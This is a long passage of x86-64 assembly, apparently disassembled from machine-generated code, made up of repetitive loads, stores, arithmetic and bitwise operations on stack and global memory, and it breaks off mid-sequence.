mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19d]
sar eax, cl
mov byte [0x14011308e], al
movzx eax, word [rsp + 0xef0]
mov rcx, qword [rsp + 0x8b00]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x7cd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd40]
sub eax, ecx
mov rcx, qword [rsp + 0x5758]
mov word [rcx], ax
movzx eax, byte [rsp + 0x63]
mov byte [rsp + 0x22e], al
mov rax, qword [rsp + 0x6558]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6808]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb2], al
mov eax, dword [0x140114150]
mov dword [rsp + 0x330c], eax
mov rax, qword [rsp + 0x5248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x31a4], eax
mov rax, qword [rsp + 0x66f8]
mov rcx, qword [rsp + 0x8fb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5d68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d20]
mov qword [rsp + 0x9248], rax
movsx eax, word [rsp + 0x10c0]
mov rcx, qword [rsp + 0x7aa8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14011319c], ax
mov rax, qword [rsp + 0x6708]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x63e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8d98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x215]
mov byte [rsp + 0x22f], al
movzx eax, byte [rsp + 0x1c8]
movzx ecx, byte [rsp + 0x1f7]
add eax, ecx
mov rcx, qword [rsp + 0x69f8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xec]
movzx ecx, byte [0x140114232]
add eax, ecx
mov rcx, qword [rsp + 0x5740]
mov byte [rcx], al
lea rax, [rsp + 0x6b80]
mov qword [rsp + 0x9250], rax
mov rax, qword [rsp + 0x5140]
mov rcx, qword [rsp + 0x79b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x32a0], eax
mov eax, dword [rsp + 0x30ac]
mov dword [rsp + 0x3310], eax
mov rax, qword [rsp + 0x8558]
mov rcx, qword [rsp + 0x6320]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x83e8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xdf8]
movsx ecx, word [rsp + 0xc10]
sar eax, cl
mov word [0x14011308c], ax
movzx eax, byte [rsp + 0x1c7]
mov rcx, qword [0x140114850]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7c98]
mov byte [rcx], al
mov rax, qword [rsp + 0x7ee8]
movzx eax, word [rax]
mov word [rsp + 0x10d0], ax
mov rax, qword [rsp + 0x54c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8940]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x83f0]
mov byte [rcx], al
lea rax, [rsp + 0xf38]
mov qword [rsp + 0x9258], rax
mov eax, dword [rsp + 0x2f74]
movzx ecx, al
mov eax, dword [0x140114150]
shl eax, cl
mov dword [rsp + 0x2cbc], eax
lea rax, [rsp + 0x32c0]
mov qword [rsp + 0x9260], rax
mov rax, qword [rsp + 0x7210]
mov rcx, qword [rsp + 0x70b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6cd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x88d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ea8], rax
lea rax, [rsp + 0x1020]
mov qword [0x140114a90], rax
lea rax, [rsp + 0x14f]
mov qword [rsp + 0x9268], rax
mov rax, qword [0x140114248]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5ac8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ee], al
lea rax, [rsp + 0x1aa]
mov qword [rsp + 0x9270], rax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xee]
add eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x7c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5a90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6480], rax
mov rax, qword [rsp + 0x6010]
mov qword [rsp + 0x9278], rax
mov rax, qword [rsp + 0x8848]
mov rcx, qword [rsp + 0x6fe8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7558]
mov dword [rcx], eax
lea rax, [rsp + 0x30e8]
mov qword [rsp + 0x9280], rax
mov rax, qword [rsp + 0x6ba0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8c0]
add eax, ecx
mov word [0x1401149c8], ax
mov rax, qword [rsp + 0x9120]
movzx eax, word [rax]
mov rcx, qword [0x140114a70]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8088]
mov word [rcx], ax
mov rax, qword [rsp + 0x6388]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x21c]
sub eax, ecx
mov byte [rsp + 0x1ba], al
mov rax, qword [rsp + 0x86a0]
movzx eax, word [rax]
mov word [rsp + 0x10d4], ax
movzx eax, byte [rsp + 0xac]
movzx ecx, byte [0x1401130d6]
sub eax, ecx
mov rcx, qword [rsp + 0x85f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7450]
mov rax, qword [rax]
mov qword [rsp + 0x9288], rax
mov rax, qword [rsp + 0x6b50]
mov rcx, qword [rsp + 0x90a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x53c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6d40]
mov eax, dword [rax]
mov dword [rsp + 0x3314], eax
mov rax, qword [rsp + 0x6ac8]
mov ecx, dword [rsp + 0x2d44]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x31f8], eax
mov rax, qword [rsp + 0x6970]
movzx eax, byte [rax]
mov byte [0x1401142e6], al
mov rax, qword [rsp + 0x7060]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x79c8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8520]
mov word [rcx], ax
lea rax, [0x1401130cb]
mov qword [rsp + 0x9290], rax
mov rax, qword [rsp + 0x5850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbbc]
xor eax, ecx
mov rcx, qword [rsp + 0x6a50]
mov word [rcx], ax
movzx eax, word [rsp + 0xd80]
mov word [rsp + 0x10d8], ax
mov eax, dword [rsp + 0x2d48]
mov rcx, qword [rsp + 0x7dc0]
mov qword [rsp + 0x9298], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9298]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x7468]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c88]
mov rcx, qword [rsp + 0x8320]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8b78], rax
mov eax, dword [rsp + 0x2bf8]
mov dword [rsp + 0x3318], eax
mov rax, qword [rsp + 0x72b8]
mov rcx, qword [rsp + 0x8a70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x88d0]
mov qword [rcx], rax
lea rax, [rsp + 0x228]
mov qword [rsp + 0x92a0], rax
movzx eax, word [rsp + 0x10a8]
mov rcx, qword [rsp + 0x65e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401131a0], ax
mov rax, qword [0x1401146a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x174]
and eax, ecx
mov byte [rsp + 0x21e], al
movsx eax, word [rsp + 0xcb8]
mov rcx, qword [rsp + 0x74d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe00], ax
lea rax, [rsp + 0x1ff]
mov qword [rsp + 0x92a8], rax
mov rax, qword [rsp + 0x7b50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x64a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x64f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x78d0]
mov qword [rsp + 0x92b0], rax
mov rax, qword [rsp + 0x88f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3044], eax
mov eax, dword [rsp + 0x3264]
mov ecx, dword [rsp + 0x2fa4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5608]
movzx eax, word [rax]
mov word [rsp + 0x10dc], ax
movzx eax, word [rsp + 0xc58]
mov rcx, qword [0x140114768]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401142b8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x87]
mov rcx, qword [rsp + 0x50b8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x9a], al
movzx eax, word [rsp + 0xdfc]
mov word [rsp + 0x10e0], ax
mov rax, qword [rsp + 0x69a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5048]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6070]
mov byte [rcx], al
mov rax, qword [rsp + 0x54f8]
mov rax, qword [rax]
mov qword [rsp + 0x92b8], rax
mov eax, dword [rsp + 0x317c]
mov ecx, dword [rsp + 0x2be8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d58], eax
mov eax, dword [rsp + 0x2d2c]
mov ecx, dword [rsp + 0x2e1c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x31ac], eax
lea rax, [rsp + 0x7e18]
mov qword [rsp + 0x92c0], rax
movsx eax, word [rsp + 0xc0c]
movsx ecx, word [rsp + 0x1040]
and eax, ecx
mov rcx, qword [rsp + 0x8298]
mov word [rcx], ax
lea rax, [rsp + 0x1dc]
mov qword [0x140114a98], rax
lea rax, [rsp + 0xf58]
mov qword [rsp + 0x92c8], rax
movzx eax, byte [rsp + 0x195]
movzx ecx, byte [rsp + 0x167]
add eax, ecx
mov rcx, qword [rsp + 0x88f0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x37]
movsx ecx, byte [rsp + 0x1f0]
add eax, ecx
mov byte [rsp + 0x227], al
mov eax, dword [rsp + 0x2be4]
mov dword [rsp + 0x331c], eax
mov eax, dword [rsp + 0x2e9c]
mov ecx, dword [rsp + 0x2d18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7f80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5d38]
mov rax, qword [rax]
mov qword [rsp + 0x92d0], rax
mov rax, qword [rsp + 0x8bb8]
mov rcx, qword [rsp + 0x77b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x68c0], rax
movsx eax, word [rsp + 0x8e8]
movsx ecx, word [rsp + 0x8e0]
and eax, ecx
mov word [rsp + 0x98c], ax
mov rax, qword [rsp + 0x71d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6120]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140114628], ax
movzx eax, word [rsp + 0x87c]
mov word [rsp + 0x10e4], ax
mov rax, qword [rsp + 0x6eb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6318]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8178]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa5]
mov byte [rsp + 0x230], al
mov rax, qword [rsp + 0x78a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x89]
sub eax, ecx
mov byte [rsp + 0x17d], al
mov eax, dword [rsp + 0x2ecc]
mov ecx, dword [rsp + 0x30b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7568]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7dd0]
mov eax, dword [rax]
mov dword [rsp + 0x3320], eax
mov rax, qword [rsp + 0x5800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c68]
mov qword [rsp + 0x92d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x92d8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9100]
mov qword [rcx], rax
lea rax, [rsp + 0x7528]
mov qword [rsp + 0x92e0], rax
movsx eax, word [rsp + 0x840]
mov rcx, qword [0x140114518]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401131a4], ax
mov rax, qword [rsp + 0x8580]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe9]
or eax, ecx
mov rcx, qword [rsp + 0x7be0]
mov byte [rcx], al
movzx eax, word [rsp + 0x970]
mov word [rsp + 0x10e8], ax
mov rax, qword [rsp + 0x7420]
movzx eax, word [rax]
movzx ecx, word [0x140113090]
sar eax, cl
mov word [rsp + 0x1094], ax
mov rax, qword [rsp + 0x8138]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6c90]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1a8], al
mov rax, qword [rsp + 0x4d78]
mov eax, dword [rax]
mov dword [rsp + 0x3324], eax
mov rax, qword [rsp + 0x7b20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x31c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c08], eax
mov rax, qword [rsp + 0x6b00]
mov qword [rsp + 0x92e8], rax
mov rax, qword [rsp + 0x7770]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5a60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c98]
mov qword [rcx], rax
mov rax, qword [0x140114a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f5]
add eax, ecx
mov byte [0x14011306f], al
mov rax, qword [rsp + 0x6468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x62f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1b4], al
mov rax, qword [rsp + 0x8da0]
movzx eax, word [rax]
mov word [rsp + 0x10ec], ax
mov rax, qword [0x140114948]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5bf0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x994], ax
mov rax, qword [rsp + 0x5508]
movzx eax, word [rax]
mov word [rsp + 0x10f0], ax
mov rax, qword [rsp + 0x4d88]
mov ecx, dword [rsp + 0x2c28]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2ba4], eax
mov rax, qword [rsp + 0x6a98]
mov rcx, qword [rsp + 0x92c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x58d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7cb0]
mov qword [rsp + 0x92f0], rax
mov eax, dword [rsp + 0x2d30]
mov ecx, dword [rsp + 0x2d94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c4c], eax
movzx eax, byte [rsp + 0x12b]
mov byte [0x1401142e7], al
movzx eax, word [rsp + 0xc54]
mov word [rsp + 0x10f4], ax
movsx eax, byte [rsp + 0x181]
mov rcx, qword [rsp + 0x6378]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
lea rax, [0x140114380]
mov qword [rsp + 0x92f8], rax
movsx eax, byte [rsp + 0x182]
movsx ecx, byte [rsp + 0xb9]
shl eax, cl
mov byte [rsp + 0x6b], al
mov rax, qword [rsp + 0x7828]
mov rcx, qword [rsp + 0x6568]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x79f0]
mov qword [rcx], rax
lea rax, [rsp + 0x2cf4]
mov qword [rsp + 0x9300], rax
mov rax, qword [rsp + 0x5d08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3188]
shr eax, cl
mov rcx, qword [rsp + 0x8d00]
mov dword [rcx], eax
lea rax, [rsp + 0x7a90]
mov qword [rsp + 0x9308], rax
movsx eax, word [rsp + 0x10b4]
mov rcx, qword [rsp + 0x5780]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401130d8], ax
movzx eax, byte [rsp + 0x19b]
movzx ecx, byte [rsp + 0x224]
and eax, ecx
mov rcx, qword [rsp + 0x4ed0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1e5]
mov rcx, qword [rsp + 0x66b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov byte [rcx], al
movzx eax, word [rsp + 0xf4c]
mov word [rsp + 0x10f8], ax
mov rax, qword [rsp + 0x8c90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7538]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5e88]
mov byte [rcx], al
lea rax, [rsp + 0x3290]
mov qword [rsp + 0x9310], rax
mov rax, qword [rsp + 0x5d80]
mov rcx, qword [0x140113008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6510], rax
mov rax, qword [rsp + 0x5d78]
mov rcx, qword [rsp + 0x68c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7000]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7da8]
mov eax, dword [rax]
mov dword [rsp + 0x3328], eax
mov rax, qword [0x140114910]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6cc8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401142a0]
mov word [rcx], ax
movzx eax, word [rsp + 0xe40]
movzx ecx, word [rsp + 0xe74]
add eax, ecx
mov word [rsp + 0xf30], ax
mov rax, qword [rsp + 0x8660]
movzx eax, byte [rax]
mov byte [rsp + 0x231], al
movzx eax, byte [rsp + 0x149]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5458]
mov byte [rcx], al
mov rax, qword [rsp + 0x5058]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc20]
sub eax, ecx
mov rcx, qword [rsp + 0x6fc8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2c94]
mov dword [rsp + 0x332c], eax
mov eax, dword [rsp + 0x327c]
movzx ecx, al
mov eax, dword [0x140114150]
sar eax, cl
mov dword [rsp + 0x2be0], eax
lea rax, [rsp + 0x67f8]
mov qword [rsp + 0x9318], rax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x8450]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b58]
mov qword [rcx], rax
lea rax, [rsp + 0xed0]
mov qword [0x140114aa0], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x9320], rax
mov rax, qword [rsp + 0x8e98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
xor eax, ecx
mov word [rsp + 0xaf0], ax
mov rax, qword [rsp + 0x85b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x217]
shl eax, cl
mov rcx, qword [rsp + 0x9150]
mov byte [rcx], al
lea rax, [rsp + 0xd5c]
mov qword [rsp + 0x9328], rax
mov rax, qword [rsp + 0x5db8]
mov rcx, qword [rsp + 0x6218]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6578], rax
mov rax, qword [0x140113008]
mov qword [rsp + 0x9330], rax
mov eax, dword [rsp + 0x3248]
mov ecx, dword [rsp + 0x3060]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x32dc], eax
mov eax, dword [rsp + 0x2ce0]
mov ecx, dword [rsp + 0x2c04]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2edc], eax
mov rax, qword [rsp + 0x7918]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8cd0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140114330]
mov word [rcx], ax
lea rax, [rsp + 0xb44]
mov qword [rsp + 0x9338], rax
mov rax, qword [rsp + 0x6070]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7330]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5ac8]
mov byte [rcx], al
mov rax, qword [0x1401145b8]
movzx eax, byte [rax]
mov byte [rsp + 0x232], al
mov rax, qword [rsp + 0x6760]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x71]
add eax, ecx
mov rcx, qword [rsp + 0x8958]
mov byte [rcx], al
mov rax, qword [rsp + 0x6248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7fa8]
mov qword [rcx], rax
lea rax, [rsp + 0x2b24]
mov qword [rsp + 0x9340], rax
mov rax, qword [rsp + 0x7910]
mov rcx, qword [rsp + 0x82d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x59e8], rax
mov rax, qword [rsp + 0x70e8]
mov eax, dword [rax]
mov dword [rsp + 0x3330], eax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x102c]
sub eax, ecx
mov rcx, qword [rsp + 0x4e20]
mov word [rcx], ax
mov rax, qword [rsp + 0x7228]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x122]
and eax, ecx
mov byte [0x1401130e3], al
lea rax, [rsp + 0xa3]
mov qword [rsp + 0x9348], rax
mov rax, qword [rsp + 0x8f70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d98]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7c48]
mov word [rcx], ax
movzx eax, byte [rsp + 0x19e]
mov rcx, qword [rsp + 0x8f80]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1b2], al
lea rax, [rsp + 0x2d58]
mov qword [rsp + 0x9350], rax
mov rax, qword [rsp + 0x7808]
movzx ecx, al
mov rax, qword [0x140114160]
sar rax, cl
mov rcx, qword [rsp + 0x5df0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5bf8]
mov rax, qword [rax]
mov qword [rsp + 0x9358], rax
mov rax, qword [rsp + 0x5c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ce4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x30ac], eax
movsx eax, byte [rsp + 0x94]
movsx ecx, byte [rsp + 0x1c6]
sub eax, ecx
mov byte [rsp + 0x16c], al
movsx eax, word [rsp + 0xc40]
movsx ecx, word [rsp + 0xb94]
sub eax, ecx
mov word [0x1401131a8], ax
movzx eax, byte [0x1401130af]
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0x7078]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8da0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5c98]
mov word [rcx], ax
lea rax, [rsp + 0xa6]
mov qword [rsp + 0x9360], rax
mov rax, qword [rsp + 0x8730]
mov rcx, qword [rsp + 0x5190]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4e98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cb8]
mov rcx, qword [rsp + 0x7cb0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8000]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5198]
mov eax, dword [rax]
mov dword [rsp + 0x3334], eax
mov rax, qword [rsp + 0x67b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d1c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6cc8]
movzx eax, word [rax]
mov word [rsp + 0x10fc], ax
mov rax, qword [rsp + 0x83b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6060]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140114568]
mov byte [rcx], al
mov rax, qword [0x140114458]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x90e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5b00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x86]
add eax, ecx
mov rcx, qword [rsp + 0x8640]
mov byte [rcx], al
lea rax, [rsp + 0x8e8]
mov qword [rsp + 0x9368], rax
mov rax, qword [rsp + 0x5960]
mov rcx, qword [0x140114160]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c90]
mov qword [rcx], rax
lea rax, [rsp + 0x6800]
mov qword [rsp + 0x9370], rax
mov rax, qword [rsp + 0x6570]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2dcc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5d90]
mov dword [rcx], eax
lea rax, [0x140114150]
mov qword [rsp + 0x9378], rax
mov rax, qword [rsp + 0x8800]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa3c]
xor eax, ecx
mov word [rsp + 0xcd4], ax
movzx eax, byte [rsp + 0x213]
movzx ecx, byte [rsp + 0x20e]
shl eax, cl
mov rcx, qword [0x140114748]
mov byte [rcx], al
mov rax, qword [0x1401145b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5f20]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1bd], al
movzx eax, word [rsp + 0xef4]
mov word [rsp + 0x1100], ax
mov rax, qword [rsp + 0x4f98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5848]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x74d0]
mov word [rcx], ax
lea rax, [rsp + 0xab4]
mov qword [rsp + 0x9380], rax
mov rax, qword [rsp + 0x55e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3288], eax
mov rax, qword [rsp + 0x6150]
mov rcx, qword [rsp + 0x66a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4e50], rax
mov eax, dword [rsp + 0x31d8]
mov dword [rsp + 0x3338], eax
mov rax, qword [rsp + 0x7560]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6788]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6328], rax
lea rax, [rsp + 0x175]
mov qword [0x140114aa8], rax
lea rax, [0x1401130df]
mov qword [rsp + 0x9388], rax
mov rax, qword [rsp + 0x5ee0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xba8]
and eax, ecx
mov rcx, qword [rsp + 0x51c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdd0]
add eax, ecx
mov word [rsp + 0xfec], ax
lea rax, [rsp + 0x17e]
mov qword [rsp + 0x9390], rax
mov rax, qword [rsp + 0x8000]
mov rcx, qword [rsp + 0x7da0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5760]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b00]
mov dword [rsp + 0x333c], eax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [0x140113008]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7bd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2d48]
mov ecx, dword [rsp + 0x2ee4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b20]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xb5]
mov rcx, qword [rsp + 0x70d0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401149e0]
mov byte [rcx], al
lea rax, [rsp + 0x8a8]
mov qword [rsp + 0x9398], rax
mov rax, qword [rsp + 0x7e58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7c48]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf50], ax
mov rax, qword [rsp + 0x7310]
movzx eax, byte [rax]
mov byte [rsp + 0x234], al
mov rax, qword [rsp + 0x5ee8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x103c]
sar eax, cl
mov rcx, qword [rsp + 0x79c8]
mov word [rcx], ax
lea rax, [rsp + 0x3004]
mov qword [rsp + 0x93a0], rax
mov rax, qword [rsp + 0x7948]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6c60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7bd0], rax
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x8ad8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7e88], rax
mov eax, dword [rsp + 0x2c4c]
mov dword [rsp + 0x3340], eax
mov rax, qword [rsp + 0x92a0]
movzx eax, byte [rax]
mov byte [0x14011430a], al
mov rax, qword [rsp + 0x76c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x121]
and eax, ecx
mov rcx, qword [rsp + 0x6c80]
mov byte [rcx], al
lea rax, [rsp + 0xfc8]
mov qword [rsp + 0x93a8], rax
mov rax, qword [rsp + 0x5050]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38]
add eax, ecx
mov byte [rsp + 0x6b], al
mov rax, qword [rsp + 0x8e98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8a00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xddc], ax
mov rax, qword [rsp + 0x8c28]
mov qword [rsp + 0x93b0], rax
mov rax, qword [rsp + 0x8a18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3034]
